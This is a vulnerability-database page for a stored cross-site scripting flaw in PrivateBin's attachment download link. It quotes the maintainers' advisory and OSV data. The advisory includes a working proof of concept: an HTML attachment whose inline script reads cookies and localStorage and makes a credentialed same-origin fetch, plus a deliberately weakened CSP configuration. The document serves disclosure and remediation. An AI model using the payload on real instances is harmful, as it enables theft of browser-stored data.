CVE-2026-55696: Privatebin/privatebin Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-f2xf-7x3g-4272
CVSS 4.3
CWE-80 CWE-79
Published
Advisory Summary

CVE-2026-55696 is a MODERATE (CVSS 4.3) cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting Privatebin/privatebin libraries in the Packagist ecosystem. The issue involves privatebin has stored cross-side-scripting (xss) vulnerability in attachment download link via dangerous mime types with required user-interaction. Remediation is available by upgrading affected packages to version 2.0.5.

CVE-2026-55696 at a Glance

CVE Identifier CVE-2026-55696
GHSA Identifier GHSA-f2xf-7x3g-4272
Severity MODERATE
CVSS v3.1 Base Score 4.3
CWE Classification CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Affected Product Privatebin/privatebin
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55696

To remediate this vulnerability, upgrade all affected Privatebin/privatebin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

privatebin/privatebin fixed: 2.0.5
Upgrade privatebin/privatebin to 2.0.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for privatebin/privatebin

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55696, inspect your project dependencies for Privatebin/privatebin:

inspect dependencies for privatebin/privatebin

Analyze the terminal output to locate any version of Privatebin/privatebin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In Privatebin/privatebin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Stored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the "Download attachment" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch). This is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process. Instances using the default recommended CSP are protected (the blob inherits **script-src 'self'**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover. Requires **fileupload = true** (non-default) and a non-recommended CSP configuration. ### Details In **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server. **Root cause 1: MIME-gated sanitization (line 3017)** DOMPurify sanitization only triggers when the MIME type matches **/^image\/.\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization. ```js // js/privatebin.js:3017-3023 if (mimeType.match(/^image\/.*svg/i)) { // only SVG is considered const sanitizedData = DOMPurify.sanitize( decodedData, purifySvgConfig ); blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only } ``` **Root cause 2: download link always points to unsanitized blob (line 3002)** The "Download attachment" link's **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content. ```js // js/privatebin.js:3001-3002 let blobUrl = getBlobUrl(decodedData, mimeType); // unsanitized blob attachmentLink.attr('href', blobUrl); // download link set HERE (never updated) ``` **Root cause 3: MIME type is fully attacker-controlled** The MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**. **Attack flow:** 1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it. 2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker's data URI. 3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker's HTML+script. This blob is assigned to the "Download attachment" link's **href** without any sanitization. 4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript. **Relation to CVE-2022-24833:** The [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized."* This doesn't hold because: - The download link's blob is never sanitized (only the preview blob is). - The advisory's safety argument for the download link ("opens from file:// protocol") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead. ### Proof of concept **Environment:** - PrivateBin commit **597a6f0d** (version 2.0.4+) - PHP 8.x with built-in server - Chromium-based browser (tested in Playwright/Chromium) **Step 1: Set up a vulnerable instance** ```bash git clone https://github.com/PrivateBin/PrivateBin.git cd PrivateBin git checkout 597a6f0d mkdir -p data ``` Create **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory). For example, here is a basic config: ```ini [main] fileupload = true cspheader = "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:" httpwarning = false [expire] default = "1week" [expire_options] 5min = 300 10min = 600 1hour = 3600 1day = 86400 1week = 604800 1month = 2592000 1year = 31536000 never = 0 [formatter_options] plaintext = "Plain Text" syntaxhighlighting = "Source Code" markdown = "Markdown" [traffic] limit = 0 [purge] limit = 300 batchsize = 10 [model] class = "Filesystem" [model_options] dir = "data" ``` Start the server: ```bash php -S 127.0.0.1:8099 ``` **Step 2: Prepare the payload file** Save as **xss-attachment.html**: ```html <!DOCTYPE html> <html> <head><title>benign</title></head> <body> <h1>just a harmless document</h1> <script> document.title = 'XSS:' + document.domain; document.body.style.background = '#c00'; document.body.style.color = '#fff'; document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin + '<br>protocol = ' + location.protocol + '<br>cookies = ' + JSON.stringify(document.cookie) + '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>'; // prove same-origin capability fetch(location.origin + '/?jsonld=paste', { credentials: 'include' }) .then(r => r.text()) .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>'); </script> </body> </html> ``` <img width="2217" height="888" alt="grafik" src="https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85" /> Optionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.) **Step 3: Attacker creates the paste** 1. Browse to **http://127.0.0.1:8099/** 2. Type any text in the document area (e.g., "Quarterly report attached. Open the Download attachment link to view it.") 3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = ["data:text/html;base64,..."]**. 4. Click **Create**. Copy the resulting paste URL. **Step 4: Victim opens the paste** 1. Open the paste URL in a browser. The paste decrypts and renders: "Download attachment (xss-attachment.html, ...)" with a **blob:** link. 2. Right-click the "Download attachment" link and select **Open in new tab** (or middle-click). **Step 5: Observe XSS execution** The new tab opens at **blob:http://127.0.0.1:8099/...** with: - Page title: **XSS:127.0.0.1** (set by attacker script) - Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = "", localstorage = ...` - A same-origin fetch to the backend that returns real data (proving full origin access) <img width="2208" height="856" alt="grafik" src="https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0" /> **Negative control (default CSP):** Change **cspheader** in **cfg/conf.php** back to the recommended default: ```ini cspheader = "default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads" ``` Restart the server and open the same paste. The blob navigation now inherits **script-src 'self'** from the page CSP, blocking inline script execution. The browser console shows: *"Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''"*. The page title stays "benign" (script didn't run). ### Impact **Who is impacted:** Self-hosted PrivateBin instances that have **both**: 1. File upload enabled (**fileupload = true**, default is **false**) 2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent) The [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are **not affected**. **What can an attacker do:** - Execute arbitrary JavaScript in the PrivateBin instance's web origin. - Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. - Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain. **What an attacker _cannot_ do:** - Exploit instances with the default recommended CSP (inline scripts are blocked in the blob). - Exploit instances that don't have file upload enabled. - Execute without victim interaction (the victim must open the attachment link in a new tab). - Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access). - Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar) That said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications. ## Patches To fix the problem, we took the following measures: * Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks. ## Timeline * 2026-06-11 – Received report via GitHub Security Advisory by the reporter. * 2026-06-11 – Report gets reviewed and discussed with the initial reporter. * 2026-06-13 – Vulnerability gets reproduced and patch is being developed. * 2026-06-14 – Patch gets reviewed. * 2026-06-1X – Patch gets merged * 2026-06-1X – New PrivateBin release is published. * 2026-06-XX – Vulnerability details published. ## Credits This vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that. In general, we'd like to thank everyone reporting issues and potential vulnerabilities to us. If you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.

CVE-2026-55696 Affected Privatebin/privatebin Versions

1 component(s)
Fixed Versions:
2.0.5
Product / Package Ecosystem Affected Versions Fixed Version
privatebin/privatebin
Packagist
< 2.0.5
2.0.5

References

Frequently Asked Questions

What is CVE-2026-55696?
CVE-2026-55696 is a security vulnerability in Privatebin/privatebin involving PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).
Which Privatebin/privatebin versions are affected?
Affected versions include releases prior to 2.0.5 across affected packages: privatebin/privatebin.
What version fixes CVE-2026-55696?
Upgrading to 2.0.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is privatebin/privatebin affected?
Yes, privatebin/privatebin is affected in releases prior to 2.0.5. Upgrade your dependency to 2.0.5 or later.
What is the CVSS score of CVE-2026-55696?
CVE-2026-55696 has a CVSS v3.1 base score of 4.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-55696?
CVE-2026-55696 is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.).
How can I check Packagist dependencies for CVE-2026-55696?
Run the dependency tree command: 'inspect dependencies for privatebin/privatebin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f2xf-7x3g-4272",
  "modified" : "2026-08-28T20:23:00Z",
  "published" : "2026-08-28T20:22:59Z",
  "aliases" : [ "CVE-2026-55696" ],
  "summary" : "PrivateBin has stored Cross-Side-Scripting (XSS) vulnerability in attachment download link via dangerous MIME types with required user-interaction",
  "details" : "### Summary\n\nStored cross-site scripting (XSS) in PrivateBin's attachment download link. An anonymous attacker can create a paste with a **text/html** attachment that, with certain user interaction, bypasses protections similar to CVE-2022-24833. When a victim opens the \"Download attachment\" link in a new tab, the attacker's inline JavaScript executes in the PrivateBin instance's origin with full same-origin capability (cookie/localStorage access, same-origin fetch).\n\nThis is an incomplete fix of [CVE-2022-24833](https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-cqcc-mm6x-vmvw). The original fix only applies to the inline preview blob (in case of SVG), never to the download link's blob. Thus a **text/html** (or **image/svg**) attachment completely bypasses sanitization, re-enabling the exact attack class on instances that don't enforce the recommended Content-Security-Policy, but with a slightly different attack process.\n\nInstances using the default recommended CSP are protected (the blob inherits **script-src 'self'**, blocking inline scripts). The vulnerability affects instances where CSP is weakened, stripped, or absent, which is exactly the defense-in-depth scenario the CVE-2022-24833 fix was meant to cover.\n\nRequires **fileupload = true** (non-default) and a non-recommended CSP configuration.\n\n### Details\n\nIn **js/privatebin.js**, the function **AttachmentViewer.setAttachment** (line 2982) processes decrypted attachment data. Since PrivateBin uses zero-knowledge encryption, the entire decrypted message (including attachment content and MIME type) is attacker-controlled and can't be inspected or sanitized by the server.\n\n**Root cause 1: MIME-gated sanitization (line 3017)**\n\nDOMPurify sanitization only triggers when the MIME type matches **/^image\\/.\\*svg/i**. Any other active content type (such as **text/html**, **application/xhtml+xml**, **text/xml**) completely bypasses sanitization.\n\n```js\n// js/privatebin.js:3017-3023\nif (mimeType.match(/^image\\/.*svg/i)) {          // only SVG is considered\n    const sanitizedData = DOMPurify.sanitize(\n        decodedData,\n        purifySvgConfig\n    );\n    blobUrl = getBlobUrl(sanitizedData, mimeType); // reassigns LOCAL variable only\n}\n```\n\n**Root cause 2: download link always points to unsanitized blob (line 3002)**\n\nThe \"Download attachment\" link's **href** is set to the unsanitized blob URL at line 3002, before the SVG sanitization branch. The SVG branch (line 3022) only reassigns a local variable **blobUrl** that's consumed by the preview at line 3028. It never updates the download link. So even for SVG attachments, the download link carries unsanitized content.\n\n```js\n// js/privatebin.js:3001-3002\nlet blobUrl = getBlobUrl(decodedData, mimeType);   // unsanitized blob\nattachmentLink.attr('href', blobUrl);              // download link set HERE (never updated)\n```\n\n**Root cause 3: MIME type is fully attacker-controlled**\n\nThe MIME type is extracted from the decrypted data URI at line 3211-3217 via **getAttachmentMimeType**, which simply reads the substring between **data:** and **;** in the data URI. Since this value comes from the decrypted (attacker-created) payload, the attacker chooses whatever MIME type they want. The browser then creates a **Blob** with that exact **Content-Type** at line 2963-2967 via **getBlobUrl**.\n\n**Attack flow:**\n\n1. Attacker creates a paste with an attached **.html** file. The client encodes it as **data:text/html;base64,...** and encrypts it.\n2. Victim opens the paste URL. **decryptPaste** (line 5387-5397) decrypts the message and calls **setAttachment** with the attacker's data URI.\n3. **setAttachment** creates a same-origin **blob:http://instance/...** with **Content-Type: text/html** containing the attacker's HTML+script. This blob is assigned to the \"Download attachment\" link's **href** without any sanitization.\n4. Victim opens that link in a new tab (right-click, middle-click, or social-engineered left-click). The browser renders the blob as a full HTML document in the instance's origin, executing the attacker's inline JavaScript.\n\n**Relation to CVE-2022-24833:**\n\nThe [2022 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) claimed: *\"whether you open the SVG in a new tab or not and whether CSP is present and enabled or not does not matter any more, as the displayed SVG is sanitized.\"* This doesn't hold because:\n- The download link's blob is never sanitized (only the preview blob is).\n- The advisory's safety argument for the download link (\"opens from file:// protocol\") assumes the file is downloaded to disk. Opening the link in a new tab navigates to a same-origin **blob:** URL instead.\n\n### Proof of concept\n\n**Environment:**\n- PrivateBin commit **597a6f0d** (version 2.0.4+)\n- PHP 8.x with built-in server\n- Chromium-based browser (tested in Playwright/Chromium)\n\n**Step 1: Set up a vulnerable instance**\n\n```bash\ngit clone https://github.com/PrivateBin/PrivateBin.git\ncd PrivateBin\ngit checkout 597a6f0d\nmkdir -p data\n```\n\nCreate **cfg/conf.php** with file upload enabled and a weakened CSP (simulating an instance where the recommended CSP isn't enforced, as documented in the original CVE-2022-24833 advisory).\n\nFor example, here is a basic config:\n```ini\n[main]\nfileupload = true\ncspheader = \"default-src * 'unsafe-inline' 'unsafe-eval' data: blob:; img-src * data: blob:; media-src * blob:; object-src * blob:\"\nhttpwarning = false\n\n[expire]\ndefault = \"1week\"\n\n[expire_options]\n5min = 300\n10min = 600\n1hour = 3600\n1day = 86400\n1week = 604800\n1month = 2592000\n1year = 31536000\nnever = 0\n\n[formatter_options]\nplaintext = \"Plain Text\"\nsyntaxhighlighting = \"Source Code\"\nmarkdown = \"Markdown\"\n\n[traffic]\nlimit = 0\n\n[purge]\nlimit = 300\nbatchsize = 10\n\n[model]\nclass = \"Filesystem\"\n\n[model_options]\ndir = \"data\"\n```\n\nStart the server:\n\n```bash\nphp -S 127.0.0.1:8099\n```\n\n**Step 2: Prepare the payload file**\n\nSave as **xss-attachment.html**:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>benign</title></head>\n<body>\n<h1>just a harmless document</h1>\n<script>\n  document.title = 'XSS:' + document.domain;\n  document.body.style.background = '#c00';\n  document.body.style.color = '#fff';\n  document.body.innerHTML = '<h1>XSS EXECUTED<br>origin = ' + location.origin +\n\t\t\t'<br>protocol = ' + location.protocol +\n      '<br>cookies = ' + JSON.stringify(document.cookie) +\n      '<br>localStorage = ' + JSON.stringify(localStorage) + '</h1>';\n  // prove same-origin capability\n  fetch(location.origin + '/?jsonld=paste', { credentials: 'include' })\n    .then(r => r.text())\n    .then(t => document.body.innerHTML += '<pre>same-origin fetch returned ' + t.length + ' bytes</pre>');\n</script>\n</body>\n</html>\n```\n\n<img width=\"2217\" height=\"888\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/bf918b75-a977-4df5-8d3f-6e2ffe238c85\" />\n\nOptionally set some cookies and/or localstorage data in your browser console. (PrivateBin likely already has set at least a `lang` cookie.)\n\n**Step 3: Attacker creates the paste**\n\n1. Browse to **http://127.0.0.1:8099/**\n2. Type any text in the document area (e.g., \"Quarterly report attached. Open the Download attachment link to view it.\")\n3. Click **Attach a file** and select **xss-attachment.html**. The browser detects the file type as **text/html**, so the client produces **attachment = [\"data:text/html;base64,...\"]**.\n4. Click **Create**. Copy the resulting paste URL.\n\n**Step 4: Victim opens the paste**\n\n1. Open the paste URL in a browser. The paste decrypts and renders: \"Download attachment (xss-attachment.html, ...)\" with a **blob:** link.\n2. Right-click the \"Download attachment\" link and select **Open in new tab** (or middle-click).\n\n**Step 5: Observe XSS execution**\n\nThe new tab opens at **blob:http://127.0.0.1:8099/...** with:\n- Page title: **XSS:127.0.0.1** (set by attacker script)\n- Red background with `XSS EXECUTED, origin = http://127.0.0.1:8099, cookies = \"\", localstorage = ...` \n- A same-origin fetch to the backend that returns real data (proving full origin access)\n\n<img width=\"2208\" height=\"856\" alt=\"grafik\" src=\"https://github.com/user-attachments/assets/b13678ac-6fba-4cb9-a7b5-ad2f9a12adc0\" />\n\n**Negative control (default CSP):**\n\nChange **cspheader** in **cfg/conf.php** back to the recommended default:\n\n```ini\ncspheader = \"default-src 'none'; base-uri 'self'; form-action 'none'; manifest-src 'self'; connect-src * blob:; script-src 'self' 'wasm-unsafe-eval'; style-src 'self'; font-src 'self'; frame-ancestors 'none'; frame-src blob:; img-src 'self' data: blob:; media-src blob:; object-src blob:; sandbox allow-same-origin allow-scripts allow-forms allow-modals allow-downloads\"\n```\n\nRestart the server and open the same paste. The blob navigation now inherits **script-src 'self'** from the page CSP, blocking inline script execution. The browser console shows: *\"Executing inline script violates the following Content Security Policy directive 'script-src 'self' 'wasm-unsafe-eval''\"*. The page title stays \"benign\" (script didn't run).\n\n### Impact\n\n**Who is impacted:**\nSelf-hosted PrivateBin instances that have **both**:\n1. File upload enabled (**fileupload = true**, default is **false**)\n2. A Content-Security-Policy that doesn't restrict inline scripts (the recommended CSP is weakened, stripped by a reverse proxy/CDN, or absent)\n\nThe [CVE-2022-24833 advisory](https://privatebin.info/reports/vulnerability-2022-04-09.html) documented that such instances exist in the wild. Instances using PrivateBin's default recommended CSP are **not affected**.\n\n**What can an attacker do:**\n- Execute arbitrary JavaScript in the PrivateBin instance's web origin.\n- Read **localStorage** and potentially other locally stored data (IndexDB, etc.) for that origin. \n- Issue authenticated same-origin HTTP requests to the PrivateBin backend (which usually does not have any impact, as PrivateBin does not use traditional authentication methods) or any co-hosted application on the same domain.\n\n**What an attacker _cannot_ do:**\n- Exploit instances with the default recommended CSP (inline scripts are blocked in the blob).\n- Exploit instances that don't have file upload enabled.\n- Execute without victim interaction (the victim must open the attachment link in a new tab).\n- Cookie access could _not_ be confirmed (see screenshot above), as these seem to be [separated differently](https://developer.mozilla.org/en-US/docs/Web/Security/Defenses/Same-origin_policy#cross-origin_data_storage_access).\n- Access to the opener via **window.opener.document** (same origin) could not be confirmed. (The link is just not opened via `window.open` or similar)\n\nThat said, PrivateBin currently only stores user preferences (language, template, theme) in cookies or similar, so no authentication tokens or session data. Thus, similar to CVE-2022-24833, the practical risk exists for instances co-hosted with other applications.\n\n## Patches\n\nTo fix the problem, we took the following measures:\n* Except for a list of safe common mime types used for media (video/audio/PDF etc.) we overwrite the mime-type with `application/octet-stream` for the download link. This causes the browser to always download the file – even if the user triggered a „Open in new tab“ action – with the exception of the mentioned mime-types. This ensures HTML or any other potentially malicious file types (SVG, XML etc.) are never rendered, mitigating any XSS attacks.\n\n## Timeline\n\n* 2026-06-11 – Received report via GitHub Security Advisory by the reporter.\n* 2026-06-11 – Report gets reviewed and discussed with the initial reporter.\n* 2026-06-13 – Vulnerability gets reproduced and patch is being developed.\n* 2026-06-14 – Patch gets reviewed.\n* 2026-06-1X – Patch gets merged\n* 2026-06-1X – New PrivateBin release is published.\n* 2026-06-XX – Vulnerability details published.\n\n## Credits\n\nThis vulnerability was reported by Rizky Muhammad, @EvidentObscurity, which we'd like to thank for that.\nIn general, we'd like to thank everyone reporting issues and potential vulnerabilities to us.\n\nIf you think you have found a vulnerability or potential security risk, [we'd kindly ask you to follow our security policy](https://github.com/PrivateBin/PrivateBin/blob/master/SECURITY.md) and report it to us. We then assess the report and will take the actions we deem necessary to address it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "privatebin/privatebin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-f2xf-7x3g-4272"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/commit/e0dd4c025c19a182b6a4c6fb77a8bf81ceff6899"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PrivateBin/PrivateBin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrivateBin/PrivateBin/releases/tag/2.0.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-80" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T20:22:59Z",
    "nvd_published_at" : null
  }
}